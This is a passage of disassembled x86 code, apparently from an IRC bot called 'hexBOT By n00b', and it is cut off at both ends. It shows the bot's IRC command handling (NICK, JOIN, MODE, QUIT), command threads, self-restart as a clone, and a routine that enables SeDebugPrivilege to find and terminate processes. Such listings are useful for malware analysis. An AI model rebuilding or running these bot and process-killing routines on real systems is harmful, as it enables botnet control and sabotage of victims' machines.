[ebp+var_1F4] push esi push eax call sub_410090 push 7Fh lea eax, [ebp+var_174] push [ebp+var_90] push eax call sub_410090 mov eax, [ebp+var_4] add esp, 30h mov [ebp+var_F0], eax mov eax, [ebp+var_8] push esi mov [ebp+var_EC], eax push [ebp+arg_0] lea eax, [ebp+var_578] mov [ebp+var_2F8], edi push [ebp+arg_10] push offset dword_4205E4 push eax call sub_40EE10 push ebx lea eax, [ebp+var_578] push 0Bh push eax call sub_40E1D6 add esp, 20h mov [ebp+var_F4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2F8] push ebx push eax push offset sub_4061E8 push ebx push ebx call dword_41A080 ; CreateThread mov ecx, [ebp+var_F4] imul ecx, 234h cmp eax, ebx mov dword_42D2EC[ecx], eax jz short loc_40CFF2 loc_40CFDC: ; CODE XREF: sub_40997B+3675j cmp [ebp+var_E8], ebx jnz loc_40B17D push 32h call dword_41A060 ; Sleep jmp short loc_40CFDC ; --------------------------------------------------------------------------- loc_40CFF2: ; CODE XREF: sub_40997B+365Fj call dword_41A07C ; RtlGetLastWin32Error push eax push offset dword_4205A0 jmp loc_40B16E ; --------------------------------------------------------------------------- loc_40D003: ; CODE XREF: sub_40997B+16D8j ; sub_40997B+16EFj ... mov eax, [ebp+esi+var_94] push 7Fh mov [ebp+arg_10], eax push eax lea eax, [ebp+var_370] push eax call sub_410090 mov eax, [ebp+esi+var_90] push 7Fh mov [ebp+arg_0], eax push eax lea eax, [ebp+var_2F0] push eax call sub_410090 mov esi, [ebp+esi+var_8C] push 7Fh lea eax, [ebp+var_270] push esi push eax call sub_410090 push 7Fh lea eax, [ebp+var_1F0] push [ebp+var_90] push eax call sub_410090 push 20h lea eax, [ebp+var_170] push [ebp+arg_4] push eax call sub_410090 mov eax, [ebp+var_4] add esp, 3Ch mov [ebp+var_F0], eax mov eax, [ebp+var_8] push esi mov [ebp+var_EC], eax push [ebp+arg_0] lea eax, [ebp+var_578] mov [ebp+var_378], edi push [ebp+arg_10] push offset dword_420558 push eax call sub_40EE10 push ebx lea eax, [ebp+var_578] push 0Ah push eax call sub_40E1D6 add esp, 20h mov [ebp+var_374], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_378] push ebx push eax push offset sub_406851 push ebx push ebx call dword_41A080 ; CreateThread mov ecx, [ebp+var_374] imul ecx, 234h cmp eax, ebx mov dword_42D2EC[ecx], eax jz short loc_40D100 loc_40D0EA: ; CODE XREF: sub_40997B+3783j cmp [ebp+var_E8], ebx jnz loc_40B17D push 32h call dword_41A060 ; Sleep jmp short loc_40D0EA ; --------------------------------------------------------------------------- loc_40D100: ; CODE XREF: sub_40997B+376Dj call dword_41A07C ; RtlGetLastWin32Error push eax push offset dword_420510 jmp loc_40B16E ; --------------------------------------------------------------------------- loc_40D111: ; CODE XREF: sub_40997B+16AAj ; sub_40997B+16C1j mov eax, [ebp+esi+var_94] push 7Fh mov [ebp+arg_10], eax push eax lea eax, [ebp+var_274] push eax call sub_410090 mov esi, [ebp+esi+var_90] push 7Fh lea eax, [ebp+var_1F4] push esi push eax call sub_410090 push 7Fh lea eax, [ebp+var_174] push [ebp+var_90] push eax call sub_410090 mov eax, [ebp+var_4] add esp, 24h mov [ebp+var_F0], eax mov eax, [ebp+var_8] push esi mov [ebp+var_EC], eax push [ebp+arg_10] lea eax, [ebp+var_578] mov [ebp+var_278], edi push offset unk_4204D0 push eax call sub_40EE10 push ebx lea eax, [ebp+var_578] push 10h push eax call sub_40E1D6 add esp, 1Ch mov [ebp+var_F4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_278] push ebx push eax push offset sub_406CED push ebx push ebx call dword_41A080 ; CreateThread mov ecx, [ebp+var_F4] imul ecx, 234h cmp eax, ebx mov dword_42D2EC[ecx], eax jz short loc_40D1E1 loc_40D1CB: ; CODE XREF: sub_40997B+3864j cmp [ebp+var_E8], ebx jnz loc_40B17D push 32h call dword_41A060 ; Sleep jmp short loc_40D1CB ; --------------------------------------------------------------------------- loc_40D1E1: ; CODE XREF: sub_40997B+384Ej call dword_41A07C ; RtlGetLastWin32Error push eax push offset dword_420488 jmp loc_40B16E ; --------------------------------------------------------------------------- loc_40D1F2: ; CODE XREF: sub_40997B+167Cj ; sub_40997B+1693j mov eax, [ebp+esi+var_94] push 7Fh mov [ebp+arg_10], eax push eax lea eax, [ebp+var_274] push eax call sub_410090 mov esi, [ebp+esi+var_90] push 7Fh lea eax, [ebp+var_1F4] push esi push eax call sub_410090 push 7Fh lea eax, [ebp+var_174] push [ebp+var_90] push eax call sub_410090 mov eax, [ebp+var_4] add esp, 24h mov [ebp+var_F0], eax mov eax, [ebp+var_8] push esi mov [ebp+var_EC], eax push [ebp+arg_10] lea eax, [ebp+var_578] mov [ebp+var_278], edi push offset dword_420448 push eax call sub_40EE10 push ebx lea eax, [ebp+var_578] push 12h push eax call sub_40E1D6 add esp, 1Ch mov [ebp+var_F4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_278] push ebx push eax push offset sub_406593 push ebx push ebx call dword_41A080 ; CreateThread mov ecx, [ebp+var_F4] imul ecx, 234h cmp eax, ebx mov dword_42D2EC[ecx], eax jz short loc_40D2C2 loc_40D2AC: ; CODE XREF: sub_40997B+3945j cmp [ebp+var_E8], ebx jnz loc_40B17D push 32h call dword_41A060 ; Sleep jmp short loc_40D2AC ; --------------------------------------------------------------------------- loc_40D2C2: ; CODE XREF: sub_40997B+392Fj call dword_41A07C ; RtlGetLastWin32Error push eax push offset dword_420400 jmp loc_40B16E ; --------------------------------------------------------------------------- loc_40D2D3: ; CODE XREF: sub_40997B+164Ej ; sub_40997B+1665j mov eax, [ebp+esi+var_90] push eax mov [ebp+arg_0], eax call sub_40FB66 cmp eax, ebx pop ecx mov [ebp+var_F8], eax jle loc_40D3D9 mov esi, [ebp+esi+var_94] lea eax, [ebp+var_280] push esi push 80h push eax call sub_40E7AB add esp, 0Ch xor eax, eax cmp [ebp+var_6BA], bl mov [ebp+var_284], edi push [ebp+var_90] setnz al mov [ebp+var_F4], eax lea eax, [ebp+var_180] push 80h push eax call sub_40E7AB mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_F0], eax mov eax, [ebp+var_8] push [ebp+arg_0] mov [ebp+var_EC], eax lea eax, [ebp+var_578] push esi push offset dword_4203B8 push 200h push eax call sub_40E7AB push ebx lea eax, [ebp+var_578] push 0Dh push eax call sub_40E1D6 add esp, 20h mov [ebp+var_100], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_284] push ebx push eax push offset sub_4058B9 push ebx push ebx call dword_41A080 ; CreateThread mov ecx, [ebp+var_100] imul ecx, 234h cmp eax, ebx mov dword_42D2EC[ecx], eax jz short loc_40D3C8 loc_40D3B2: ; CODE XREF: sub_40997B+3A4Bj cmp [ebp+var_E8], ebx jnz loc_40B17D push 32h call dword_41A060 ; Sleep jmp short loc_40D3B2 ; --------------------------------------------------------------------------- loc_40D3C8: ; CODE XREF: sub_40997B+3A35j call dword_41A07C ; RtlGetLastWin32Error push eax push offset dword_42036C jmp loc_40B16E ; --------------------------------------------------------------------------- loc_40D3D9: ; CODE XREF: sub_40997B+3971j push offset dword_420324 loc_40D3DE: ; CODE XREF: sub_40997B+23A4j ; sub_40997B+2517j ... lea eax, [ebp+var_578] push eax call sub_40EE10 pop ecx pop ecx jmp loc_40B17D ; --------------------------------------------------------------------------- loc_40D3F1: ; CODE XREF: sub_40997B+14E9j ; sub_40997B+1500j push 24h call sub_40E41E test eax, eax pop ecx jle short loc_40D41B cmp [ebp+var_8], ebx jnz loc_409D24 push ebx push [ebp+var_4] push offset dword_4202FC push [ebp+var_90] push edi jmp loc_40A237 ; --------------------------------------------------------------------------- loc_40D41B: ; CODE XREF: sub_40997B+3A80j push [ebp+var_90] lea eax, [ebp+var_60C] push 80h push eax call sub_40E7AB mov eax, [ebp+var_4] mov esi, [ebp+esi+var_94] mov [ebp+var_584], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_610], edi mov [ebp+var_580], eax mov [ebp+var_588], ebx jz short loc_40D479 push esi push offset aFull ; "full" call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_40D479 mov [ebp+var_588], 1 loc_40D479: ; CODE XREF: sub_40997B+3AE1j ; sub_40997B+3AF2j lea eax, [ebp+var_578] push offset dword_4202CC push eax call sub_40EE10 push ebx lea eax, [ebp+var_578] push 24h push eax call sub_40E1D6 add esp, 14h mov [ebp+var_58C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_610] push ebx push eax push offset sub_40DD29 push ebx push ebx call dword_41A080 ; CreateThread mov ecx, [ebp+var_58C] imul ecx, 234h cmp eax, ebx mov dword_42D2EC[ecx], eax jz short loc_40D4E3 loc_40D4D1: ; CODE XREF: sub_40997B+3B66j cmp [ebp+var_57C], ebx jnz short loc_40D4FE push 32h call dword_41A060 ; Sleep jmp short loc_40D4D1 ; --------------------------------------------------------------------------- loc_40D4E3: ; CODE XREF: sub_40997B+3B54j call dword_41A07C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_578] push offset dword_420284 push eax call sub_40EE10 add esp, 0Ch loc_40D4FE: ; CODE XREF: sub_40997B+1805j ; sub_40997B+1825j ... lea eax, [ebp+var_578] push eax call sub_407A4E jmp loc_409F13 ; --------------------------------------------------------------------------- loc_40D50F: ; CODE XREF: sub_40997B+14BBj ; sub_40997B+14D2j push ebx lea eax, [ebp+var_578] push [ebp+var_4] push edi push eax call sub_405503 pop ecx pop ecx push eax push [ebp+var_90] push edi call sub_4084CC push offset dword_42025C loc_40D534: ; CODE XREF: sub_40997B+3BEFj call sub_407A4E add esp, 18h jmp loc_40DAA2 ; --------------------------------------------------------------------------- loc_40D541: ; CODE XREF: sub_40997B+148Dj ; sub_40997B+14A4j push ebx lea eax, [ebp+var_578] push [ebp+var_4] push edi push [ebp+arg_1C] push eax call sub_40574C add esp, 0Ch push eax push [ebp+var_90] push edi call sub_4084CC push offset dword_420234 jmp short loc_40D534 ; --------------------------------------------------------------------------- loc_40D56C: ; CODE XREF: sub_40997B+145Fj ; sub_40997B+1476j push [ebp+var_8] push [ebp+var_4] push [ebp+var_90] push edi call sub_407AEE jmp loc_409D21 ; --------------------------------------------------------------------------- loc_40D583: ; CODE XREF: sub_40997B+1431j ; sub_40997B+1448j cmp [ebp+var_C], ebx mov [ebp+var_174], bl jz short loc_40D5C2 mov esi, [ebp+esi+var_94] cmp esi, ebx jz short loc_40D5C2 push esi push [ebp+var_C] call sub_4102A0 pop ecx cmp eax, ebx pop ecx jz short loc_40D5C2 push eax push offset dword_41FB7C lea eax, [ebp+var_174] push 80h push eax call sub_40E7AB add esp, 10h loc_40D5C2: ; CODE XREF: sub_40997B+3C11j ; sub_40997B+3C1Cj ... push [ebp+var_90] lea eax, [ebp+var_1F4] push 80h push eax call sub_40E7AB mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_F0], eax mov eax, [ebp+var_8] mov [ebp+var_EC], eax lea eax, [ebp+var_578] push offset dword_420210 push eax mov [ebp+var_1F8], edi call sub_40EE10 push ebx lea eax, [ebp+var_578] push 22h push eax call sub_40E1D6 add esp, 14h mov [ebp+var_F4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1F8] push ebx push eax push offset sub_407B2E push ebx push ebx call dword_41A080 ; CreateThread mov ecx, [ebp+var_F4] imul ecx, 234h cmp eax, ebx mov dword_42D2EC[ecx], eax jz short loc_40D662 loc_40D64C: ; CODE XREF: sub_40997B+3CE5j cmp [ebp+var_E8], ebx jnz loc_409D24 push 32h call dword_41A060 ; Sleep jmp short loc_40D64C ; --------------------------------------------------------------------------- loc_40D662: ; CODE XREF: sub_40997B+3CCFj call dword_41A07C ; RtlGetLastWin32Error push eax push offset dword_4201C8 jmp loc_409F0D ; --------------------------------------------------------------------------- loc_40D673: ; CODE XREF: sub_40997B+1403j ; sub_40997B+141Aj push [ebp+var_4] push [ebp+var_90] push edi call sub_4079D6 push offset dword_4201A4 call sub_407A4E jmp loc_40CD3F ; --------------------------------------------------------------------------- loc_40D691: ; CODE XREF: sub_40997B+13D5j ; sub_40997B+13ECj push [ebp+var_90] lea eax, [ebp+var_60C] push 80h push eax call sub_40E7AB mov eax, [ebp+var_4] mov esi, [ebp+esi+var_94] mov [ebp+var_584], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_610], edi mov [ebp+var_580], eax jz short loc_40D6E8 push offset dword_4201A0 push esi call sub_40FB80 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_588], eax jmp short loc_40D6EE ; --------------------------------------------------------------------------- loc_40D6E8: ; CODE XREF: sub_40997B+3D51j mov [ebp+var_588], ebx loc_40D6EE: ; CODE XREF: sub_40997B+3D6Bj lea eax, [ebp+var_578] push offset dword_420178 push eax call sub_40EE10 push ebx lea eax, [ebp+var_578] push 25h push eax call sub_40E1D6 add esp, 14h mov [ebp+var_58C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_610] push ebx push eax push offset sub_40E241 push ebx push ebx call dword_41A080 ; CreateThread mov ecx, [ebp+var_58C] imul ecx, 234h cmp eax, ebx mov dword_42D2EC[ecx], eax jz short loc_40D758 loc_40D746: ; CODE XREF: sub_40997B+3DDBj cmp [ebp+var_57C], ebx jnz short loc_40D773 push 32h call dword_41A060 ; Sleep jmp short loc_40D746 ; --------------------------------------------------------------------------- loc_40D758: ; CODE XREF: sub_40997B+3DC9j call dword_41A07C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_578] push offset dword_420130 push eax call sub_40EE10 add esp, 0Ch loc_40D773: ; CODE XREF: sub_40997B+1D10j ; sub_40997B+1D30j ... lea eax, [ebp+var_578] push eax jmp loc_40B3D0 ; --------------------------------------------------------------------------- loc_40D77F: ; CODE XREF: sub_40997B+13A7j ; sub_40997B+13BEj lea eax, [ebp+var_1E8] push 104h push eax push ebx call dword_41A078 ; GetModuleFileNameA push 10h lea eax, [ebp+var_D8] push ebx push eax call sub_40E800 push 44h lea eax, [ebp+var_5BC] pop esi push esi push ebx push eax call sub_40E800 add esp, 18h mov [ebp+var_5BC], esi lea eax, [ebp+var_D8] mov [ebp+var_5B0], offset byte_424EF4 push 1 mov word ptr [ebp+var_58C], bx pop esi push eax lea eax, [ebp+var_5BC] push eax push ebx push ebx push 28h push ebx push ebx lea eax, [ebp+var_1E8] push ebx push eax push ebx mov [ebp+var_590], esi call dword_41A0C0 ; CreateProcessA cmp eax, esi jnz short loc_40D81C lea eax, [ebp+var_578] push offset aCloneRunning__ ; "Clone running... now restarting..." push eax call sub_40EE10 pop ecx pop ecx call dword_427274 ; WSACleanup push ebx call dword_41A0F4 ; ExitProcess loc_40D81C: ; CODE XREF: sub_40997B+3E7Fj lea eax, [ebp+var_1E8] push eax push offset aRestartFailed_ ; "Restart failed. Couldn't open file: %s" jmp loc_40C47C ; --------------------------------------------------------------------------- loc_40D82D: ; CODE XREF: sub_40997B+1327j ; sub_40997B+133Ej push offset aHortsfor ; "hortsfor" push offset dword_4200C0 jmp short loc_40D84B ; --------------------------------------------------------------------------- loc_40D839: ; CODE XREF: sub_40997B+12F9j ; sub_40997B+1310j push dword_4BA0D8 call sub_4053E4 pop ecx push eax push offset dword_420088 loc_40D84B: ; CODE XREF: sub_40997B+3EBCj lea eax, [ebp+var_578] push eax call sub_40EE10 push ebx lea eax, [ebp+var_578] push [ebp+var_4] push eax push [ebp+var_90] push edi call sub_4084CC add esp, 20h jmp loc_40C43F ; --------------------------------------------------------------------------- loc_40D876: ; CODE XREF: sub_40997B+12CBj ; sub_40997B+12E2j mov esi, [ebp+esi+var_94] cmp esi, ebx jz short loc_40D8A6 cmp [ebp+var_C], ebx jz short loc_40D8B3 push esi push [ebp+var_C] call sub_4102A0 pop ecx cmp eax, ebx pop ecx jz short loc_40D8B3 push eax push offset aQuitS ; "QUIT :%s\r\n" push edi call sub_408486 add esp, 0Ch jmp short loc_40D8B3 ; --------------------------------------------------------------------------- loc_40D8A6: ; CODE XREF: sub_40997B+3F04j push offset aQuitLater ; "QUIT :later\r\n" push edi call sub_408486 pop ecx pop ecx loc_40D8B3: ; CODE XREF: sub_40997B+3F09j ; sub_40997B+3F18j ... push 0FFFFFFFEh jmp loc_409D26 ; --------------------------------------------------------------------------- loc_40D8BA: ; CODE XREF: sub_40997B+129Dj ; sub_40997B+12B4j push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push edi call sub_408486 push offset dword_42002C call sub_407A4E add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_409D27 ; --------------------------------------------------------------------------- loc_40D8DA: ; CODE XREF: sub_40997B+126Fj ; sub_40997B+1286j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push edi call sub_408486 push offset dword_41FFEC call sub_407A4E add esp, 0Ch xor eax, eax jmp loc_409D27 ; --------------------------------------------------------------------------- loc_40D8F9: ; CODE XREF: sub_40997B+1241j ; sub_40997B+1258j push [ebp+var_4] push [ebp+var_90] push edi call sub_403372 jmp loc_40C262 ; --------------------------------------------------------------------------- loc_40D90D: ; CODE XREF: sub_40997B+11BDj ; sub_40997B+11D4j push [ebp+esi+var_94] push 24h push offset dword_41FFDC push offset dword_41FFC8 jmp loc_40A83B ; --------------------------------------------------------------------------- loc_40D925: ; CODE XREF: sub_40997B+E7Dj ; sub_40997B+E94j push offset aHexbotByN00b ; "hexBOT By n00b" push offset dword_41FFB0 loc_40D92F: ; CODE XREF: sub_40997B+2B50j ; sub_40997B+2B5Aj lea eax, [ebp+var_578] push eax call sub_40EE10 loc_40D93B: ; CODE XREF: sub_40997B+33F8j add esp, 0Ch jmp loc_40C420 ; --------------------------------------------------------------------------- loc_40D943: ; CODE XREF: sub_40997B+E4Fj ; sub_40997B+E66j cmp [ebp+esi+var_94], ebx jz short loc_40D9C5 lea eax, [ebp+var_60C] mov [ebp+var_60C], 94h push eax call dword_41A0D4 ; GetVersionExA cmp [ebp+var_608], 5 jnz short loc_40D99A cmp [ebp+var_604], 1 jnz short loc_40D99A lea eax, [ebp+var_5F8] push offset a2 ; "2" push eax call sub_4102A0 pop ecx test eax, eax pop ecx jz short loc_40D99A lea eax, [ebp+var_C4] push eax push offset dword_41FF68 jmp short loc_40DA05 ; --------------------------------------------------------------------------- loc_40D99A: ; CODE XREF: sub_40997B+3FEFj ; sub_40997B+3FF8j ... mov eax, [ebp+arg_18] xor esi, esi mov [ebp+arg_24], eax loc_40D9A2: ; CODE XREF: sub_40997B+4046j push [ebp+var_98] push [ebp+arg_24] call sub_40FB80 pop ecx test eax, eax pop ecx jz short loc_40D9F0 add [ebp+arg_24], 80h inc esi cmp esi, 3 jl short loc_40D9A2 jmp short loc_40DA14 ; --------------------------------------------------------------------------- loc_40D9C5: ; CODE XREF: sub_40997B+3FCFj mov eax, [ebp+arg_18] xor esi, esi mov [ebp+arg_24], eax loc_40D9CD: ; CODE XREF: sub_40997B+4071j push [ebp+var_98] push [ebp+arg_24] call sub_40FB80 pop ecx test eax, eax pop ecx jz short loc_40D9F0 add [ebp+arg_24], 80h inc esi cmp esi, 3 jl short loc_40D9CD jmp short loc_40DA14 ; --------------------------------------------------------------------------- loc_40D9F0: ; CODE XREF: sub_40997B+4039j ; sub_40997B+4064j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax push offset dword_421D44 loc_40DA05: ; CODE XREF: sub_40997B+2B77j ; sub_40997B+2DF3j ... lea eax, [ebp+var_578] push eax call sub_40EE10 loc_40DA11: ; CODE XREF: sub_40997B+2E0Ej add esp, 0Ch loc_40DA14: ; CODE XREF: sub_40997B+2DD7j ; sub_40997B+4048j ... cmp [ebp+var_8], ebx jnz short loc_40DA33 push ebx lea eax, [ebp+var_578] push [ebp+var_4] push eax push [ebp+var_90] push edi call sub_4084CC add esp, 14h loc_40DA33: ; CODE XREF: sub_40997B+783j ; sub_40997B+1391j ... push 1 pop esi jmp loc_40C442 ; --------------------------------------------------------------------------- loc_40DA3B: ; CODE XREF: sub_40997B+E21j ; sub_40997B+E38j push [ebp+var_94] push offset a332 ; "332" call sub_40FB80 pop ecx test eax, eax pop ecx jz short loc_40DAA2 call sub_40E39F push ebx call dword_41A0F4 ; ExitProcess loc_40DA5D: ; CODE XREF: sub_40997B+DF3j ; sub_40997B+E0Aj push [ebp+esi+var_94] lea eax, [ebp+var_62C] push dword_41FBF8 push eax push edi call sub_40E17A add esp, 10h lea eax, [ebp+var_62C] push eax push offset aNickS ; "NICK %s\r\n" push edi call sub_408486 add esp, 0Ch lea eax, [ebp+var_62C] push eax push offset dword_41FF38 loc_40DA9B: ; CODE XREF: sub_40997B+280Ej ; sub_40997B+2C78j ... call sub_407AC2 pop ecx loc_40DAA1: ; CODE XREF: sub_40997B+1A5Aj pop ecx loc_40DAA2: ; CODE XREF: sub_40997B+641j ; sub_40997B+64Dj ... mov eax, [ebp+arg_24] jmp loc_409D27 ; --------------------------------------------------------------------------- loc_40DAAA: ; CODE XREF: sub_40997B+1F9j ; sub_40997B+20Ej push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_408486 add esp, 0Ch push offset aXtIb ; "-xt+iB" push [ebp+arg_10] push offset aModeSS ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_408486 add esp, 10h push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_408486 add esp, 10h mov dword_4BA24C, edi jmp loc_409C00 sub_40997B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DAF6 proc near ; CODE XREF: sub_404CC0+7p ; sub_40DB61+5Fp ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call dword_41A110 ; GetCurrentProcess push eax call dword_4272F8 ; OpenProcessToken test eax, eax jnz short loc_40DB15 leave retn ; --------------------------------------------------------------------------- loc_40DB15: ; CODE XREF: sub_40DAF6+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_4272D0 ; LookupPrivilegeValueA test eax, eax jz short loc_40DB53 cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_40DB3C or [ebp+var_8], 2 jmp short loc_40DB40 ; --------------------------------------------------------------------------- loc_40DB3C: ; CODE XREF: sub_40DAF6+3Ej and [ebp+var_8], 0FFFFFFFDh loc_40DB40: ; CODE XREF: sub_40DAF6+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call dword_427380 ; AdjustTokenPrivileges mov esi, eax loc_40DB53: ; CODE XREF: sub_40DAF6+32j push [ebp+var_4] call dword_41A068 ; CloseHandle mov eax, esi pop esi leave retn sub_40DAF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DB61 proc near ; CODE XREF: sub_40997B+2B3Bp ; sub_40DD29+74p var_550 = byte ptr -550h var_350 = dword ptr -350h var_34C = byte ptr -34Ch var_230 = byte ptr -230h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_124 = dword ptr -124h var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 550h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp dword_427334, ebx lea edi, [ebp+var_128] mov [ebp+var_12C], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_34C] mov [ebp+var_350], ebx rep stosd jz loc_40DCF2 cmp dword_427318, ebx jz loc_40DCF2 cmp dword_427234, ebx jz loc_40DCF2 push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_40DAF6 pop ecx pop ecx push ebx push 0Fh call dword_427334 ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_40DCE5 lea eax, [ebp+var_12C] mov [ebp+var_12C], 128h push eax push [ebp+var_4] call dword_427318 ; Process32First mov esi, dword_41A068 test eax, eax jz loc_40DCE0 lea eax, [ebp+var_12C] push eax push [ebp+var_4] call dword_427234 ; Process32Next test eax, eax jz loc_40DCE0 mov ebx, offset aSD ; " %s (%d)" loc_40DC21: ; CODE XREF: sub_40DB61+177j xor edi, edi cmp [ebp+arg_C], edi jnz loc_40DCB1 cmp [ebp+arg_4], edi jz loc_40DCC6 push [ebp+var_124] push 8 call dword_427334 ; CreateToolhelp32Snapshot cmp [ebp+arg_14], 0 mov edi, eax mov [ebp+var_350], 224h jz short loc_40DC75 lea eax, [ebp+var_350] push eax push edi call dword_4271E0 ; Module32First push [ebp+var_124] test eax, eax jz short loc_40DC7B lea eax, [ebp+var_230] jmp short loc_40DC81 ; --------------------------------------------------------------------------- loc_40DC75: ; CODE XREF: sub_40DB61+F2j push [ebp+var_124] loc_40DC7B: ; CODE XREF: sub_40DB61+10Aj lea eax, [ebp+var_108] loc_40DC81: ; CODE XREF: sub_40DB61+112j push eax lea eax, [ebp+var_550] push ebx push eax call sub_40EE10 add esp, 10h lea eax, [ebp+var_550] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4084CC add esp, 14h push edi call esi ; CloseHandle jmp short loc_40DCC6 ; --------------------------------------------------------------------------- loc_40DCB1: ; CODE XREF: sub_40DB61+C5j push [ebp+arg_C] lea eax, [ebp+var_108] push eax call sub_40FB80 pop ecx test eax, eax pop ecx jz short loc_40DCF9 loc_40DCC6: ; CODE XREF: sub_40DB61+CEj ; sub_40DB61+14Ej lea eax, [ebp+var_12C] push eax push [ebp+var_4] call dword_427234 ; Process32Next test eax, eax jnz loc_40DC21 xor ebx, ebx loc_40DCE0: ; CODE XREF: sub_40DB61+9Dj ; sub_40DB61+B5j push [ebp+var_4] call esi ; CloseHandle loc_40DCE5: ; CODE XREF: sub_40DB61+75j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_40DAF6 pop ecx pop ecx loc_40DCF2: ; CODE XREF: sub_40DB61+3Aj ; sub_40DB61+46j ... xor eax, eax loc_40DCF4: ; CODE XREF: sub_40DB61+1C6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40DCF9: ; CODE XREF: sub_40DB61+163j push [ebp+var_124] push edi push 1F0FFFh call dword_41A0FC ; OpenProcess push [ebp+var_4] mov edi, eax call esi ; CloseHandle push 0 push edi call dword_41A114 ; TerminateProcess test eax, eax jnz short loc_40DD24 push edi call esi ; CloseHandle jmp short loc_40DCF2 ; --------------------------------------------------------------------------- loc_40DD24: ; CODE XREF: sub_40DB61+1BCj push 1 pop eax jmp short loc_40DCF4 sub_40DB61 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DD29 proc near ; DATA XREF: sub_40997B+3B33o var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset dword_421E44 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_40EE10 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_40DD88 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_4084CC add esp, 14h loc_40DD88: ; CODE XREF: sub_40DD29+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_40DB61 add esp, 18h test eax, eax jnz short loc_40DDB0 push offset dword_421E14 jmp short loc_40DDB5 ; --------------------------------------------------------------------------- loc_40DDB0: ; CODE XREF: sub_40DD29+7Ej push offset dword_421DE8 loc_40DDB5: ; CODE XREF: sub_40DD29+85j lea eax, [ebp+var_298] push eax call sub_40EE10 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_40DDE8 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_4084CC add esp, 14h loc_40DDE8: ; CODE XREF: sub_40DD29+9Dj lea eax, [ebp+var_298] push eax call sub_407A4E push [ebp+var_14] call sub_40E4F2 pop ecx pop ecx push esi call dword_41A084 ; ExitThread pop edi pop esi sub_40DD29 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40DE07 proc near ; CODE XREF: sub_40997B+2AE4p ; sub_40E311+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh call dword_41A0FC ; OpenProcess mov esi, eax test esi, esi jz short loc_40DE39 push 0 push esi call dword_41A114 ; TerminateProcess test eax, eax jnz short loc_40DE39 push esi xor edi, edi call dword_41A068 ; CloseHandle loc_40DE39: ; CODE XREF: sub_40DE07+1Aj ; sub_40DE07+27j mov eax, edi pop edi pop esi retn sub_40DE07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DE3E proc near ; CODE XREF: sub_406DA5+41p ; sub_406DA5+ACp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call sub_410198 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov 